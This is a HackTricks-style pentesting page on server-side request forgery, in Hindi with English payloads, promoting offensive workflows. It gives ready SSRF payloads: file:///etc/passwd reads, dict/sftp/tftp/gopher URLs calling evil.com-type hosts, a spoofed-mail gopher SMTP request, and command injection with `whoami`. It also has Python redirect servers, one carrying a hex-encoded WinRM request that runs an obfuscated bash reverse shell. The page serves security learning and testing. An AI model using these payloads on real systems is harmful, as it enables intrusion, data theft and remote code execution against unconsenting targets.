hacktricks/pentesting-web/ssrf-server-side-request-forgery
2024-01-01 22:46:25 +00:00
..
cloud-ssrf.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 19:59:09 +00:00
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 19:59:09 +00:00
ssrf-vulnerable-platforms.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 19:59:09 +00:00
url-format-bypass.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 22:46:25 +00:00

SSRF (Server Side Request Forgery)


Trickest का उपयोग करें ताकि आप आसानी से workflows को बना सकें और ऑटोमेट कर सकें जो दुनिया के सबसे उन्नत community tools द्वारा संचालित होते हैं।
आज ही एक्सेस प्राप्त करें:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert) के साथ AWS hacking सीखें zero से hero तक!

HackTricks का समर्थन करने के अन्य तरीके:

  • यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो SUBSCRIPTION PLANS देखें!
  • official PEASS & HackTricks swag प्राप्त करें
  • The PEASS Family की खोज करें, हमारा exclusive NFTs संग्रह
  • 💬 Discord group में शामिल हों या telegram group में या Twitter पर 🐦 @carlospolopm को फॉलो करें
  • HackTricks और HackTricks Cloud github repos में PRs सबमिट करके अपने hacking tricks साझा करें।

Server-side request forgery (जिसे SSRF के नाम से भी जाना जाता है) एक वेब सुरक्षा कमजोरी है जो एक हमलावर को server-side application को HTTP requests भेजने के लिए प्रेरित करती है जो कि हमलावर के चुने हुए किसी भी arbitrary domain पर हो सकती है। (यहाँ से here)

Capture SSRF

आपको जो पहली चीज करनी चाहिए वह है आपके द्वारा प्रेरित किए गए SSRF interaction को कैप्चर करना। HTTP या DNS interaction को कैप्चर करने के लिए आप निम्नलिखित टूल्स का उपयोग कर सकते हैं:

Whitelisted Domains Bypass

आमतौर पर आप पाएंगे कि SSRF केवल कुछ whitelisted domains या URL में ही काम कर रहा है। निम्नलिखित पेज में आपके पास उस whitelist को बायपास करने के लिए तकनीकों का संकलन है:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Bypass via open redirect

यदि सर्वर सही ढंग से सुरक्षित है तो आप सभी प्रतिबंधों को बायपास कर सकते हैं वेब पेज के अंदर एक Open Redirect का शोषण करके। क्योंकि वेबपेज उसी डोमेन के लिए SSRF की अनुमति देगा और शायद redirects का पालन करेगा, आप Open Redirect का शोषण करके सर्वर को किसी भी internal resource तक पहुँचने के लिए बना सकते हैं
यहाँ और पढ़ें: https://portswigger.net/web-security/ssrf

Protocols

file://

file:///etc/passwd

dict://

DICT URL योजना का उपयोग DICT प्रोटोकॉल का उपयोग करके उपलब्ध परिभाषाओं या शब्द सूचियों को संदर्भित करने के लिए किया जाता है:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP://

एक नेटवर्क प्रोटोकॉल जिसका उपयोग सुरक्षित शेल के ऊपर सुरक्षित फाइल स्थानांतरण के लिए किया जाता है

ssrf.php?url=sftp://evil.com:11111/

TFTP://

Trivial File Transfer Protocol, UDP के ऊपर काम करता है

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP://

Lightweight Directory Access Protocol। यह एक एप्लिकेशन प्रोटोकॉल है जिसका उपयोग एक IP नेटवर्क पर वितरित डायरेक्टरी जानकारी सेवा को प्रबंधित और एक्सेस करने के लिए किया जाता है।

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

इस प्रोटोकॉल का उपयोग करके आप IP, पोर्ट और बाइट्स निर्दिष्ट कर सकते हैं जिसे आप चाहते हैं कि सर्वर भेजे। फिर, आप मूल रूप से SSRF का उपयोग करके किसी भी TCP सर्वर से संवाद कर सकते हैं (लेकिन आपको पहले सेवा से बात करना आना चाहिए)।
सौभाग्य से, आप Gopherus का उपयोग करके कई सेवाओं के लिए पेलोड बना सकते हैं। इसके अलावा, remote-method-guesser का उपयोग gopher पेलोड Java RMI सेवाओं के लिए बनाने के लिए किया जा सकता है।

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — 1337 पर बैक कनेक्ट

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

SMTP

https://twitter.com/har1sec/status/1182255952055164929 से:
1. SMTP localhost:25 पर SSRF के साथ कनेक्ट करें
2. पहली पंक्ति से आंतरिक डोमेन नाम प्राप्त करें 220 http://blabla.internaldomain.com ESMTP Sendmail
3. http://internaldomain.com को GitHub पर खोजें, उपडोमेन ढूंढें
4. कनेक्ट करें

Curl URL globbing - WAF bypass

यदि SSRF को curl द्वारा निष्पादित किया जाता है, तो curl में URL globbing नामक एक विशेषता होती है जो WAFs को बायपास करने के लिए उपयोगी हो सकती है। उदाहरण के लिए इस writeup में आप file प्रोटोकॉल के माध्यम से path traversal के लिए यह उदाहरण पा सकते हैं:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}

SSRF अनुरोधों को कैप्चर करें

Referrer हेडर के माध्यम से SSRF

कुछ एप्लिकेशन सर्वर-साइड एनालिटिक्स सॉफ्टवेयर का उपयोग करते हैं जो विजिटर्स को ट्रैक करते हैं। यह सॉफ्टवेयर अक्सर अनुरोधों में Referrer हेडर को लॉग करता है, क्योंकि यह आने वाले लिंक्स को ट्रैक करने के लिए विशेष रूप से दिलचस्प होता है। अक्सर एनालिटिक्स सॉफ्टवेयर Referrer हेडर में दिखाई देने वाले किसी भी तृतीय-पक्ष URL का दौरा करेगा। यह आमतौर पर रेफरिंग साइट्स की सामग्री का विश्लेषण करने के लिए किया जाता है, जिसमें आने वाले लिंक्स में उपयोग किया गया एंकर टेक्स्ट भी शामिल होता है। परिणामस्वरूप, Referer हेडर अक्सर SSRF भेद्यताओं के लिए फलदायी हमले की सतह प्रस्तुत करता है।
इस प्रकार की "छिपी" भेद्यताओं की खोज के लिए आप Burp से "Collaborator Everywhere" प्लगइन का उपयोग कर सकते हैं।

प्रमाणपत्र से SNI डेटा के माध्यम से SSRF

किसी मनमाने बैकएंड से कनेक्ट करने की अनुमति देने वाली सबसे सरल मिसकॉन्फ़िगरेशन कुछ इस तरह दिखेगी:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

यहाँ, SNI फ़ील्ड मूल्य का उपयोग सीधे बैकएंड के पते के रूप में किया जाता है।

इस असुरक्षित कॉन्फ़िगरेशन के साथ, हम SNI फ़ील्ड में वांछित IP या डोमेन नाम निर्दिष्ट करके SSRF भेद्यता का शोषण कर सकते हैं। उदाहरण के लिए, निम्नलिखित कमांड Nginx को internal.host.com से जोड़ने के लिए मजबूर करेगा:

openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf

Wget फाइल अपलोड

SSRF के साथ Command Injection

इस तरह का पेलोड आजमाना उचित हो सकता है: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs रेंडरिंग

यदि वेब पेज स्वचालित रूप से कुछ जानकारी के साथ PDF बना रहा है जो आपने प्रदान की है, तो आप कुछ JS डाल सकते हैं जो PDF निर्माता द्वारा स्वयं (सर्वर) द्वारा PDF बनाते समय निष्पादित की जाएगी और आप SSRF का दुरुपयोग कर पाएंगे। यहाँ अधिक जानकारी पाएं

SSRF से DoS तक

कई सत्र बनाएं और सत्रों से SSRF का उपयोग करके भारी फाइलें डाउनलोड करने का प्रयास करें।

SSRF PHP फंक्शंस

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Redirect to Gopher

कुछ उपयोगों के लिए आपको एक रीडायरेक्ट प्रतिक्रिया भेजने की आवश्यकता हो सकती है (संभवतः गोफर जैसे अलग प्रोटोकॉल का उपयोग करने के लिए)। यहाँ आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

DNS Rebidding CORS/SOP बायपास

यदि आपको CORS/SOP के कारण स्थानीय IP से सामग्री को निकालने में समस्या हो रही है, तो DNS Rebidding का उपयोग उस सीमा को बायपास करने के लिए किया जा सकता है:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

स्वचालित DNS Rebidding

Singularity of Origin एक उपकरण है जो DNS rebinding हमलों को करने के लिए है। इसमें हमले के सर्वर DNS नाम के IP पते को लक्ष्य मशीन के IP पते में बदलने और लक्ष्य मशीन पर कमजोर सॉफ्टवेयर का शोषण करने के लिए हमले के पेलोड को सेवा करने के लिए आवश्यक घटक शामिल हैं।

http://rebind.it/singularity.html में सार्वजनिक रूप से चल रहे सर्वर को भी देखें****

DNS Rebidding + TLS सत्र ID/सत्र टिकट

आवश्यकताएँ:

  • SSRF
  • आउटबाउंड TLS सत्र
  • स्थानीय पोर्ट्स पर सामग्री

हमला:

  1. उपयोगकर्ता/बॉट को डोमेन तक पहुँचने के लिए कहें जिसे हमलावर नियंत्रित करता है।
  2. DNS का TTL 0 सेकंड है (ताकि पीड़ित जल्द ही डोमेन के IP की जांच करेगा)।
  3. पीड़ित और हमलावर के डोमेन के बीच एक TLS कनेक्शन बनाया जाता है। हमलावर सत्र ID या सत्र टिकट के अंदर पेलोड डालता है।
  4. डोमेन खुद के खिलाफ अनंत लूप की रीडायरेक्ट्स शुरू करेगा। इसका उद्देश्य यह है कि उपयोगकर्ता/बॉट डोमेन तक पहुँचता रहे जब तक वह फिर से डोमेन का DNS अनुरोध न करे।
  5. DNS अनुरोध में अब एक निजी IP पता दिया जाता है (उदाहरण के लिए 127.0.0.1)।
  6. उपयोगकर्ता/बॉट TLS कनेक्शन को फिर से स्थापित करने की कोशिश करेगा और ऐसा करने के लिए वह सत्र ID/टिकट ID भेजेगा (जहां हमलावर का पेलोड शामिल था)। तो बधाई हो आपने उपयोगकर्ता/बॉट को खुद पर हमला करने के लिए कहा

ध्यान दें कि इस हमले के दौरान, यदि आप localhost:11211 (memcache) पर हमला करना चाहते हैं तो आपको पीड़ित को www.attacker.com:11211 के साथ प्रारंभिक कनेक्शन स्थापित करना होगा (पोर्ट हमेशा समान होना चाहिए)।
इस हमले को करने के लिए आप उपकरण का उपयोग कर सकते हैं: https://github.com/jmdx/TLS-poison/
अधिक जानकारी के लिए इस वार्ता को देखें जहां इस हमले की व्याख्या की गई है: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

ब्लाइंड SSRF

ब्लाइंड SSRF और नॉन-ब्लाइंड SSRF के बीच का अंतर यह है कि ब्लाइंड में आप SSRF अनुरोध का जवाब नहीं देख सकते हैं। इसलिए, इसका शोषण करना अधिक कठिन होता है क्योंकि आप केवल ज्ञात कमजोरियों का ही शोषण कर पाएंगे।

समय आधारित SSRF

सर्वर से प्रतिक्रियाओं के समय की जांच करके यह संभव हो सकता है कि एक संसाधन मौजूद है या नहीं (शायद मौजूद संसाधन तक पहुँचने में अधिक समय लगता है जो नहीं है)

क्लाउड SSRF शोषण

यदि आपको क्लाउड वातावरण के अंदर चल रही मशीन में SSRF कमजोरी मिलती है, तो आप क्लाउड वातावरण के बारे में दिलचस्प जानकारी और यहां तक कि क्रेडेंशियल्स भी प्राप्त कर सकते हैं:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

SSRF संवेदनशील प्लेटफॉर्म

कई ज्ञात प्लेटफॉर्मों में SSRF कमजोरियां होती हैं या हो चुकी हैं, उन्हें यहाँ देखें:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

उपकरण

SSRFMap

SSRF कमजोरियों का पता लगाने और शोषण करने के लिए उपकरण

Gopherus

यह उपकरण Gopher पेलोड्स उत्पन्न करता है:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser एक Java RMI कमजोरी स्कैनर है जो सबसे आम Java RMI कमजोरियों के लिए हमले के ऑपरेशन्स का समर्थन करता है। उपलब्ध ऑपरेशन्स में से अधिकांश SSRF विकल्प का समर्थन करते हैं, अनुरोधित ऑपरेशन के लिए एक SSRF पेलोड उत्पन्न करने के लिए। gopher विकल्प के साथ, तैयार किए गए gopher पेलोड्स सीधे उत्पन्न किए जा सकते हैं।

SSRF Proxy

SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्सी सर्वर है जिसे Server-Side Request Forgery (SSRF) से प्रभावित HTTP सर्वरों के माध्यम से क्लाइंट HTTP ट्रैफिक को टनल करने के लिए डिजाइन किया गया है।

अभ्यास के लिए

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

संदर्भ

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: